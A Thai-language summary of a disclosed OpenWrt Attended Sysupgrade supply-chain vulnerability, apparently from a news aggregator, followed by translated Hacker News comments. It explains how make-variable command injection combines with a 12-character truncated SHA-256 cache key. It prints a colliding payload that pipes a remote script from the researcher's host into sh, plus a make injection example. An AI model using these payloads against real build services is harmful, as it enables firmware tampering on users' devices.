เหตุการณ์การโจมตีห่วงโซ่อุปทานของ OpenWrt

 (flatt.tech)
2 คะแนน โดย GN⁺ 2024-12-10 | 1 ความคิดเห็น | แชร์ทาง WhatsApp
  • ฟีเจอร์อัปเกรดผ่านเว็บของ OpenWrt อย่าง Attended Sysupgrade มีโครงสร้างที่สร้างเฟิร์มแวร์บนเซิร์ฟเวอร์บิลด์ออนไลน์ และเมื่อการฉีดคำสั่งถูกนำไปรวมกับการชนกันของ SHA-256 ที่ถูกตัดทอน อาจทำให้คำขอปกติได้รับผลลัพธ์บิลด์ที่ผิดพลาดกลับไปได้
  • ค่า packages ในคำขอถูกส่งต่อไปยังตัวแปร PACKAGES= ของ make manifest และด้วยลักษณะการขยายตัวแปรของ make ผู้โจมตีจึงสามารถรันคำสั่งใดก็ได้ ภายในคอนเทนเนอร์ imagebuilder
  • แฮชของรายการแพ็กเกจไม่ได้ใช้ SHA-256 ทั้งหมด แต่ใช้เพียง 12 อักขระแรก หรือ 48 บิตเป็นส่วนหนึ่งของคีย์แคช ทำให้รายการแพ็กเกจต่างกันสามารถสร้างแฮชคำขอเดียวกันได้
  • นักวิจัยใช้ Hashcat ที่ดัดแปลงกับ RTX 4090 ได้ความเร็วประมาณ 18,000 ล้านแฮชต่อวินาที และยืนยันสำเร็จว่าสามารถใช้เพย์โหลดการฉีดคำสั่งที่ชนกันเพื่อเขียนทับผลลัพธ์ .bin ของ imagebuilder ได้
  • ทีม OpenWrt หลังได้รับรายงานช่องโหว่แบบไม่เปิดเผย ได้ระงับ sysupgrade.openwrt.org ชั่วคราวและปล่อยเวอร์ชันแก้ไขภายใน 3 ชั่วโมง แต่ไม่สามารถยืนยันได้ว่ามีการถูกใช้โจมตีก่อนหน้านี้หรือไม่

โครงสร้างการบิลด์เฟิร์มแวร์ออนไลน์ของ Attended Sysupgrade

  • อินเทอร์เฟซเว็บ LuCI ของ OpenWrt มีฟีเจอร์ Attended Sysupgrade ซึ่งใช้บริการออนไลน์ในการบิลด์เฟิร์มแวร์ใหม่
  • บริการบิลด์ทำงานที่ sysupgrade.openwrt.org และเมื่อผู้ใช้เลือกอุปกรณ์เป้าหมายกับแพ็กเกจที่ต้องการ ระบบจะสร้างอิมเมจเฟิร์มแวร์ใหม่
  • เมื่อมีคำขออัปเกรด OpenWrt ฝั่งผู้ใช้จะส่งข้อมูลต่อไปนี้ไปยังเซิร์ฟเวอร์
    • สถาปัตยกรรมเป้าหมาย
    • โปรไฟล์อุปกรณ์
    • แพ็กเกจที่เลือก
  • เซิร์ฟเวอร์จะบิลด์อิมเมจเฟิร์มแวร์จากข้อมูลนี้ ส่งกลับไปยังอุปกรณ์ OpenWrt และอุปกรณ์จะแฟลชอิมเมจที่ได้รับ
  • หากเซิร์ฟเวอร์ที่บิลด์อิมเมจจากแพ็กเกจที่ผู้ใช้ระบุไม่ได้ถูกแยก隔离อย่างเพียงพอ ผลลัพธ์บิลด์ที่ถูกนำไปใช้กับอุปกรณ์โดยตรงจะกลายเป็น พื้นผิวโจมตีของห่วงโซ่อุปทาน

การฉีดคำสั่งผ่านค่า PACKAGES

  • เซิร์ฟเวอร์ sysupgrade.openwrt.org เป็นโปรเจกต์โอเพนซอร์ส และซอร์สโค้ดอยู่ที่ openwrt/asu
  • สภาพแวดล้อมบิลด์ทำงานในคอนเทนเนอร์ที่สร้างด้วย podman.containers.create และใช้การตั้งค่าอย่าง cap_drop=["all"], no_new_privileges=True, privileged=False
  • ช่องโหว่เกิดขึ้นในส่วนที่เรียก make manifest
    • PROFILE={build_request.profile}
    • PACKAGES={' '.join(build_cmd_packages)}
    • STRIP_ABI=1
  • target manifest ของ OpenWrt imagebuilder ส่งต่อค่า PACKAGES อีกครั้งในรูปแบบ USER_PACKAGES="$(PACKAGES)"
  • make จะขยายตัวแปรก่อนรันคำสั่ง ดังนั้นแม้จะครอบด้วยอัญประกาศเดี่ยว ค่าที่ผู้ใช้ควบคุมก็ไม่ได้ถูกจัดการอย่างปลอดภัย
    • ใน Makefile ตัวอย่าง หากรัน make var="'; whoami #" คำสั่ง whoami ก็จะถูกรันแม้อยู่ภายใน echo '$(var)'
  • เพราะพารามิเตอร์ packages ในคำขอถูกใส่ลงในตัวแปร PACKAGES ผู้โจมตีจึงสามารถฝังคำสั่งไว้ในค่าที่ดูเหมือนชื่อแพ็กเกจ เพื่อรันคำสั่งใดก็ได้ ภายในคอนเทนเนอร์ imagebuilder
  • แม้คอนเทนเนอร์จะแยกจากโฮสต์ แต่ไบนารีที่สร้างขึ้นจะถูกลงนามด้วยกุญแจส่วนตัวในขั้นตอนถัดไป ดังนั้นการฉีดคำสั่งนี้จึงนำไปสู่ช่องโหว่ห่วงโซ่อุปทาน

คีย์แคช SHA-256 ที่ถูกตัดเหลือ 12 อักขระ

  • get_request_hash นำฟิลด์หลายตัวของคำขอบิลด์มาต่อกันเพื่อสร้างแฮชคำขอ และแฮชนี้ถูกใช้เป็นคีย์แคชของบิลด์
  • รายการแพ็กเกจไม่ได้ถูกใส่เป็นสตริงโดยตรง แต่ผลลัพธ์จาก get_packages_hash(build_request.packages) จะถูกรวมอยู่ในแฮชคำขอภายนอก
  • get_packages_hash ลบแพ็กเกจซ้ำ จัดเรียง แล้วคำนวณ SHA-256 ของสตริงที่นำมาต่อกันด้วยช่องว่าง แต่ส่งคืนผลลัพธ์โดยตัดเหลือเพียง 12 อักขระแรก
  • prefix SHA-256 12 อักขระมีขนาด 48 บิต และมีพื้นที่ที่เป็นไปได้ 2^48 = 281,474,976,710,656 ค่า
  • เนื่องจากแฮชคำขอภายนอกรวมแฮชแพ็กเกจที่ถูกตัดทอนนี้ไว้ หากสร้างการชนกันของแฮชแพ็กเกจได้ รายการแพ็กเกจที่ต่างกันก็จะใช้คีย์แคชเดียวกัน
  • ผลคือเซิร์ฟเวอร์อาจส่งคืน ผลลัพธ์บิลด์ที่ผิดพลาด สำหรับคำขอแพ็กเกจอีกชุดหนึ่งได้

หาเพย์โหลดที่ชนกันด้วย Hashcat

  • เนื่องจากไม่พบเครื่องมือ brute force สำหรับ SHA-256 แบบ partial match จึงสร้างโปรแกรม OpenCL เอง แต่การคำนวณ 100 ล้านแฮชใช้เวลา 10 วินาที ซึ่งใกล้เคียงกับความเร็วแฮชบน CPU
  • ต่อมาดัดแปลง Hashcat ให้พิมพ์แฮชออกมาแม้ตรงกันเพียง 8 อักขระ และใช้สคริปต์เล็ก ๆ ตรวจว่าชนกันครบ 12 อักขระหรือไม่
  • รายการแพ็กเกจปกติถูกดึงจาก firmware-selector.openwrt.org และ SHA-256 ของรายการนั้นคือ 8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb
    • 12 อักขระแรกคือ 8f7018b33d94
    • เพย์โหลดโจมตีต้องมี prefix 12 อักขระเดียวกันด้วย
  • ตอนแรกใช้มาสก์รูปแบบ `curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh` บน RTX 4090 และได้ความเร็วประมาณ 500 ล้านแฮชต่อวินาที
  • ?l สร้าง a-z ดังนั้นพื้นที่ 10 ตัวอักษรคือ 26^10 = 141,167,095,653,376 ค่า ซึ่งเท่ากับประมาณครึ่งหนึ่งของ 2^48
  • เมื่อเพิ่มมาสก์เป็น 11 ตัวอักษรและย้ายตำแหน่งมาสก์ไปไว้ด้านหน้าคำสั่ง ความเร็วเพิ่มขึ้นอย่างมาก
    • แพตเทิร์นสุดท้ายคือ `?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh`
    • ด้วยแพตเทิร์นนี้ Hashcat คำนวณได้ประมาณ 18,000 ล้านแฮชต่อวินาที
  • ภายใน 1 ชั่วโมงพบการชนกัน 12 อักขระดังนี้
    • `slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`
    • SHA-256 ของสตริงนี้คือ 8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8 โดย 12 อักขระแรกเหมือนกับรายการแพ็กเกจปกติ

รวมสองช่องโหว่เพื่อส่งคืนเฟิร์มแวร์ผิดตัว

  • เมื่อส่งเพย์โหลดที่ชนกันผ่านพารามิเตอร์ packages จะเกิดการฉีดคำสั่ง และสคริปต์จาก tmp.ryotak.net จะถูกรัน
  • สคริปต์สำหรับตรวจสอบจะต่อโค้ดเพิ่มเข้าไปใน /builder/scripts/json_overview_image_info.py เพื่อเขียนทับผลลัพธ์ที่ imagebuilder สร้าง
    • อ่านรายการไฟล์ใน BIN_DIR
    • หาไฟล์ที่ชื่อจบด้วย .bin แล้วเขียน "test" ลงในเนื้อหา
  • เพราะการชนกันของแฮช เซิร์ฟเวอร์จึงส่งคืนผลลัพธ์บิลด์ที่ถูกเขียนทับให้ผู้ใช้ที่ร้องขอรายการแพ็กเกจปกติ
  • หากวิธีนี้ถูกนำไปใช้โจมตี ผู้ใช้จะอัปเกรดเป็น เฟิร์มแวร์อันตราย และอาจนำไปสู่การยึดอุปกรณ์ได้

การรายงานและการแก้ไข

  • ช่องโหว่ถูกส่งต่อไปยังทีม OpenWrt ผ่าน การรายงานช่องโหว่แบบไม่เปิดเผย ของ GitHub
  • หลังทีม OpenWrt ยืนยันปัญหา ได้ระงับบริการ sysupgrade.openwrt.org ชั่วคราวและเริ่มการตรวจสอบ
  • เวอร์ชันแก้ไขถูกปล่อยภายใน 3 ชั่วโมง และบริการก็กลับมาเปิดอีกครั้ง
  • ปัญหาทั้งสองรายการได้รับการแก้ไขแล้ว แต่เนื่องจากช่องโหว่มีอยู่มาระยะหนึ่ง จึงไม่สามารถทราบได้ว่ามีผู้อื่นนำไปใช้โจมตีแล้วหรือไม่
  • ทีม OpenWrt เผยแพร่ ประกาศ เพื่อให้ผู้ใช้สามารถตรวจสอบและตรวจจับได้ว่าอุปกรณ์ถูกบุกรุกหรือไม่

สรุป

  • sysupgrade.openwrt.org อาจถูกโจมตีได้ด้วยการผสาน การฉีดคำสั่ง กับ การชนกันของ SHA-256 ที่ถูกตัดทอน
  • นี่เป็นกรณีที่ทำให้การโจมตีชนกันของแฮชด้วย brute force สำเร็จในแอปพลิเคชันจริง และสร้างเส้นทางโจมตีห่วงโซ่อุปทานได้
  • ทีม OpenWrt แก้ไขปัญหาและแจ้งผู้ใช้ภายในเวลาอันสั้น แต่บริการบิลด์ออนไลน์จำเป็นต้องจัดการคีย์แคชและการตรวจสอบอินพุตอย่างระมัดระวังมาก

บทความที่เกี่ยวข้อง

1 ความคิดเห็น

 
GN⁺ 2024-12-10
ความคิดเห็นจาก Hacker News

  • ช่องโหว่ที่บทความตกหล่นไปคือ การรันโค้ดที่ปรับให้เจาะจงกับผู้ใช้บางรายหรืออุปกรณ์บางเครื่องจะกลายเป็นเรื่อง ปกติ
    ไม่มีการตรวจสอบความสามารถในการทำซ้ำ และไม่มีใครมีวิธีตรวจสอบได้ว่าบริการ build/download แบบปรับแต่งเฉพาะนี้ไม่ได้สร้างบิลด์ที่ฝัง backdoor ไว้
    ควรรับประกันว่าใช้บิลด์แบบเดียวกับ xz-utils ที่ Andres Freund ใช้ หรือบิลด์ที่ภายหลังนักวิจัยด้านความปลอดภัยสามารถดาวน์โหลดไปตรวจสอบว่ามี supply-chain implant ในซอฟต์แวร์โอเพนซอร์สหรือไม่[1]
    เคยมีบทความอธิบายความพยายามของ Mozilla ที่จะบันทึกบิลด์สำหรับ release ลงใน public log แบบ Merkle tree แต่หยุดไปแล้ว[2] Google ได้จัดการการ implement บิลด์เฟิร์มแวร์ของ Pixel แล้ว แต่แอปที่เผยแพร่ผ่าน Google Play Store ยังดูเหมือนจะเปราะบางอยู่ (เว้นแต่จะมี log อื่นที่ผมหาไม่เจอ)[3] ส่วน Apple ไม่มี build transparency ในการเผยแพร่เฟิร์มแวร์และแอป ทั้งยัง target บิลด์เป็นรายอุปกรณ์ จึงดูแย่กว่า Google ในแง่ binary transparency
    ตัวอย่างที่ดีคือ ebuild repository ของ Gentoo ซึ่งเก็บ checksum ของซอร์สไว้ใน Git repository/Merkle tree เดียว ทำให้มันอาจยังคงเป็นหนึ่งใน Merkle tree ที่ใหญ่และกระจายตัวกว้างที่สุดในบรรดาซอฟต์แวร์โอเพนซอร์ส
    [1] หลัง backdoor ของ xz-utils นักวิจัยบางส่วนได้ทำการสแกนแบบอัตโนมัติ/กึ่งอัตโนมัติ เพื่อหาไฟล์ entropy สูงที่อธิบายไม่ได้ในบิลด์ของซอฟต์แวร์โอเพนซอร์ส ซึ่งอาจซ่อนโค้ดอันตรายไว้ได้ สำหรับบิลด์ที่ปรับเฉพาะผู้ใช้/อุปกรณ์ งานแบบนี้ทำไม่ได้ เว้นแต่ทุกบิลด์จะถูกเผยแพร่ต่อสาธารณะเพื่อการวิเคราะห์ภายหลัง และมาพร้อม public log (Merkle tree) สำหรับบิลด์ที่เผยแพร่นั้น
    [2] https://wiki.mozilla.org/Security/Binary_Transparency
    [3] https://developers.google.com/android/binary_transparency/ov...

    • เป็นไอเดียที่ดี และผมก็สนับสนุน แต่ต้องจำไว้ว่าความสามารถในการทำซ้ำขึ้นอยู่กับ ความเป็น deterministic
      องค์ประกอบจำนวนมากใน build pipeline มีความเป็น non-deterministic โดยธรรมชาติ เพราะการตัดสินใจในช่วง compile อาจต่างกันไปในแต่ละครั้ง แม้ไม่นับปัญหาเรื่อง flag ก็ยังเป็นแบบนั้น และจริง ๆ แล้วเป้าหมายของ optimizing compiler ก็ใกล้เคียงกับเรื่องนี้ด้วย ตามที่โปรเจกต์ reproducible builds หลายแห่งพบมาแล้ว หากเปิด optimization ความสามารถในการทำซ้ำแทบจะรับประกันไม่ได้
    • กรณีของ Google Play: https://developer.android.com/guide/app-bundle/code-transpar...
      เท่าที่ผมรู้ ไม่มี log แบบรวมศูนย์ และปล่อยให้ผู้พัฒนาแอปเผยแพร่ key ของตนเองหรือ log ของ transparency file เอง
    • การใช้ บริการบิลด์ แบบนั้นก็เท่ากับบอกตั้งแต่แรกว่า “ผมไม่ใช่เป้าหมายที่มีค่าพอจะถูกโจมตีแบบเจาะจง”
    • การสแกนแบบอัตโนมัติ/กึ่งอัตโนมัติเพื่อหาไฟล์ entropy สูงที่อธิบายไม่ได้ซึ่งอาจซ่อนโค้ดอันตราย สามารถหลบเลี่ยงได้ง่าย แค่ กระจาย entropy ออกไปก็พอ
    • จำได้ว่าทีม certificate transparency ของ Google เคยออกแบบ firmware transparency สำหรับทั้ง Linux โดยรวม ไม่ใช่แค่ Android แทบจะเสร็จแล้วด้วย

  • "".join ก็อันตรายไม่ใช่เหรอ?
    ถ้าเป็นรูปแบบ get_str_hash("".join([build_request.distro, build_request.version, build_request.version_code, build_request.target, ... ต่อให้ย้ายตัวอักษรข้ามระหว่างฟิลด์ที่อยู่ติดกัน hash ก็อาจยังเหมือนเดิมได้
    แม้จะยึดระบบโดยตรงไม่ได้ แต่ก็อาจทำให้ cache pollution ด้วย image ที่เสีย หรือชักนำให้ downgrade ได้

    • ใช่ ด้วยเหตุผลที่อธิบายมา เวลา hash อินพุตหลายตัวควรใช้ HMAC
      แก้ไข: ไม่ใช่ HMAC ควรเรียกว่า incremental hashing ถึงจะถูก

  • ดังนั้นโอเพนซอร์สจึงไม่มีทางแข่งขันกับซอฟต์แวร์ปิดสำหรับองค์กรได้เลย:
    เพราะแก้ได้ใน 3 ชั่วโมงแทนที่จะปล่อยให้รอแพตช์ 6 เดือน ไม่ได้พยายามฟ้องคนที่รายงานปัญหา และไม่ได้บอกให้ทิ้งอุปกรณ์ที่ “เก่า” แต่ยังใช้งานได้ดีเพื่อไปซื้อของใหม่โดยให้ส่วนลดเล็กน้อย

    • ควรทำให้ชัดกว่านี้ว่าเป็น คำประชด ภาษาอังกฤษไม่ใช่ภาษาแม่ของผม ตอนแรกอ่านว่า “they” หมายถึง “ซอฟต์แวร์ปิดสำหรับองค์กร” และเข้าใจว่า OpenWRT เป็นตัวเลือกอันตรายที่ทำเรื่องทั้งหมดที่ไล่มา
    • นี่แหละเหตุผลที่ผมชอบ OpenWrt เขาถึงกับขอให้คนอย่างผมที่ใช้ screen reader ช่วยทดสอบว่า web interface ใช้งานได้ถูกต้องหรือไม่
    • ก็จริงอยู่ แต่ดูเหมือนว่า OpenWRT แก้เรื่องการตัด hash ให้สั้นแล้ว แต่ยังไม่ได้แก้ command injection
      หวังว่าจะมีแผนแก้ command injection ด้วย อย่างที่บทความบอก image ที่สร้างขึ้นมีการเซ็นชื่อไว้ ต่อให้ไม่มีลายเซ็น การที่อินพุตจากผู้ใช้ที่ไม่น่าเชื่อถือทำให้รันโค้ดได้ก็เป็นปัญหาอยู่ดี และช่องโหว่อาจเชื่อมโยงกันได้เหมือนกรณี hash collision ครั้งนี้
    • ผมมีเราเตอร์ที่ถูกบังคับให้ใช้เพราะ ISP ซึ่งมี CVE อยู่หลายรายการ ตั้งแต่ระดับแย่ไปจนถึงร้ายแรงมาก และส่วนใหญ่เป็นช่องโหว่ที่มีอายุหลายปีแล้ว
      ขอเปลี่ยนได้ก็จริง แต่ก็เป็นรุ่นเดิมเท่านั้น ISP ไม่สนใจความปลอดภัยเลยและไม่แพตช์ด้วย ทั้งที่มีสิทธิ์เข้าถึงเราเตอร์แบบผูกขาดและยัง login จากระยะไกลได้อีก นี่มันไร้เหตุผลสิ้นดี
    • เรื่องนี้เป็นไปได้เฉพาะกับโปรเจกต์โอเพนซอร์สส่วนน้อยที่มีการสนับสนุนจากองค์กรและมีทรัพยากรพอจะแก้ได้เร็ว
      ในโปรเจกต์โอเพนซอร์สส่วนใหญ่ maintainer มักทำงานหนักเกินไป หรือไม่ก็ไม่อยากแก้ปัญหาด้านความปลอดภัยเลย

  • อย่างแรก นี่เป็นกรณีที่เครื่องมือนี้เป็นโอเพนซอร์สทั้งที่เดิมไม่ได้ทำมาเพื่อใช้งานแบบนั้น และเขียนไว้โดยไม่มี BuilderFactoryProvider จึงสามารถปรับให้เข้ากับงานได้ในเวลาอันสั้น
    ขอโทษที่พูดเรื่องที่มีคนพูดไปแล้ว แต่ทุกวันเรื่องนี้ทำให้ผมเจ็บปวดมาก
    ถ้าเป็นบริษัทใหญ่ คงใช้เวลาซ่อมประมาณ -1 ปี เพราะคงจะฟ้องคนคนนั้นและพยายามให้จับกุมให้เร็วที่สุด แล้วไม่มีทางออกแพตช์แน่นอน
    OpenWrt หลังได้รับข้อมูลแล้วก็ปิดบริการที่ไม่ปลอดภัยลง ผู้ใช้อยู่ในสถานะปลอดภัยแล้วจากการ shutdown จากนั้นตรวจสอบรายงาน ทำแพตช์ และ ปล่อยภายใน 3 ชั่วโมง ยอดเยี่ยมมาก

  • สงสัยว่าผู้คนคิดไอเดียการตัดแฮชให้สั้นได้อย่างไร จุดประสงค์หรือประโยชน์คืออะไร?

    • ฟังก์ชันแฮชที่ถูกตัดให้สั้นไม่เปราะบางต่อ length extension attack อย่างไรก็ตาม โดยทั่วไปจะใช้ SHA-512 แล้วตัดเหลือ 256 บิต ตามมาตรฐานปัจจุบัน ถ้าสั้นกว่านั้นก็คงมองว่าปลอดภัยได้ยาก
    • บางกรณีทำเพื่อให้เข้ากับข้อจำกัดด้านความยาวที่มีอยู่แล้วในเครื่องมือหรือฐานข้อมูลเดิม หรือบางครั้งก็ใช้แฮชเป็นเพียง ตัวระบุตำแหน่ง ไม่ใช่เพื่อการตรวจสอบความถูกต้องสมบูรณ์
      ผมมองว่าไม่ใช่แนวปฏิบัติที่ดี แต่ในทางปฏิบัติผู้คนก็มักประนีประนอม
    • ตาม commit บอกว่าทำแบบนั้นเพื่อลดความยาวของชื่อไฟล์ดาวน์โหลดและ URL
    • บางทีก็ใช้เมื่อต้องการเพย์โหลดที่เล็กลง
      ตามคำตอบของ @Reid ใน [2] และคำตอบของ @ThomasPornin ใน [3] แนวคิดการตัดแฮชให้สั้นได้รับการสนับสนุนอย่างเต็มที่แม้แต่จาก NIST ด้วย จริง ๆ แล้ว SHA-224 ก็คือ SHA-256 ที่ถูกตัดให้สั้น และ SHA-384 ก็คือ SHA-512 ที่ถูกตัดให้สั้น
      https://security.stackexchange.com/a/97389
    • ทำแบบนั้นเมื่ออัปเกรดจาก SHA-1 ไปเป็น SHA-256 แต่ไม่อยากเปลี่ยน รูปแบบข้อมูล สำหรับการตรวจสอบความถูกต้องสมบูรณ์หรือการจัดเก็บคีย์

  • บทความดีมาก แอบประหลาดใจเล็กน้อยที่การหาการชนกันที่สั้นขนาดนี้ต้องใช้ ปริมาณการประมวลผล GPU ระดับนั้น แต่ก็ดีที่ได้เห็น implementation
    เกี่ยวกับส่วนสุดท้าย ค่าใช้จ่าย 40,000 ดอลลาร์ต่อเดือนสำหรับการวิเคราะห์ความปลอดภัยถือว่าสมเหตุสมผลไหม? ถ้าใช่ นักวิจัยด้านความปลอดภัยที่เก่ง ๆ ทำเงินได้ราว 500,000 ดอลลาร์ต่อปีเลยหรือ?

    • หมายความว่าบริษัทวิจัยความปลอดภัยที่ดีอาจทำรายได้ 500,000 ดอลลาร์จากนักวิจัยที่ยอดเยี่ยมหนึ่งคนได้ แต่ต้องมีงานมากพอให้คนคนนั้นทำงานได้เต็ม 100% และถ้าคิดรวมวันลาพักร้อนแบบได้รับค่าจ้างด้วย ในความเป็นจริงก็จะน้อยกว่านั้น
    • สำหรับผมถือว่าค่อนข้างสมเหตุสมผล บริษัท penetration testing ที่เคยทำงานด้วยคิดเงินระดับนั้นเหมือนกัน แต่ก็แค่รันสแกน nmap/metasploit แบบขี้เกียจ ๆ แล้วห่อด้วย PDF ที่ดูน่าเชื่อถือ
    • ในยุคหลัง LLM การประมวลผลด้วย 4090 หนึ่งชั่วโมงไม่ได้ใกล้เคียงกับคำว่า “เยอะขนาดนั้น” เท่าไร ออกจะ “น้อยเสียด้วยซ้ำ” มากกว่า ทำได้ในราคาไม่ถึง 1 ดอลลาร์
    • 2^(12*4) หมายถึงสตริงความยาว 12 ตัวอักษรที่เป็นไปได้มี 281,474,976,710,656 แบบ ดังนั้นการไล่ดูได้มากขนาดนั้นภายในหนึ่งชั่วโมงจึงน่าประทับใจจริง ๆ

  • ที่ว่า performance ของ hashcat ต่างกันเป็นหลายหลักตามลำดับอาร์กิวเมนต์นี่หมายความว่าอย่างไร? มันสแกน แพตเทิร์นเป้าหมาย ในบรรทัดอาร์กิวเมนต์ทุกครั้งที่รันหรือเปล่า?

    • อาจเป็นวิธีคล้ายการสะเดาะกุญแจ คือเริ่มจากซ้ายไปขวาแล้วดูว่ายังไปต่อได้ไหมหรือควรทิ้งการเดานั้น ถ้าเป็นแบบนั้น การวาง “ตัวเลือก” ไว้ด้านหน้าก็ทำให้ไม่ต้องสร้างใหม่ทุกครั้ง อาจเป็นเพราะเหตุผลบางอย่างที่ไม่แคช prefix หรือแคชไม่ได้ก็ได้
      หรืออาจเป็นโครงสร้างเหมือนตอนนับเลข เช่น
      100000000000
      010000000000
      110000000000
      001000000000
      คือการเปลี่ยนแปลงส่วนใหญ่เกิดทางซ้าย ส่วนการเปลี่ยนทางขวาพบไม่บ่อยนัก ถ้ามีคนที่รู้จัก hashcat มาตอบก็น่าสนใจดี ผมแค่กำลังเดาไปเรื่อย ๆ

  • เขียนกระบวนการโจมตีได้ดีมาก และตามอ่านได้ง่าย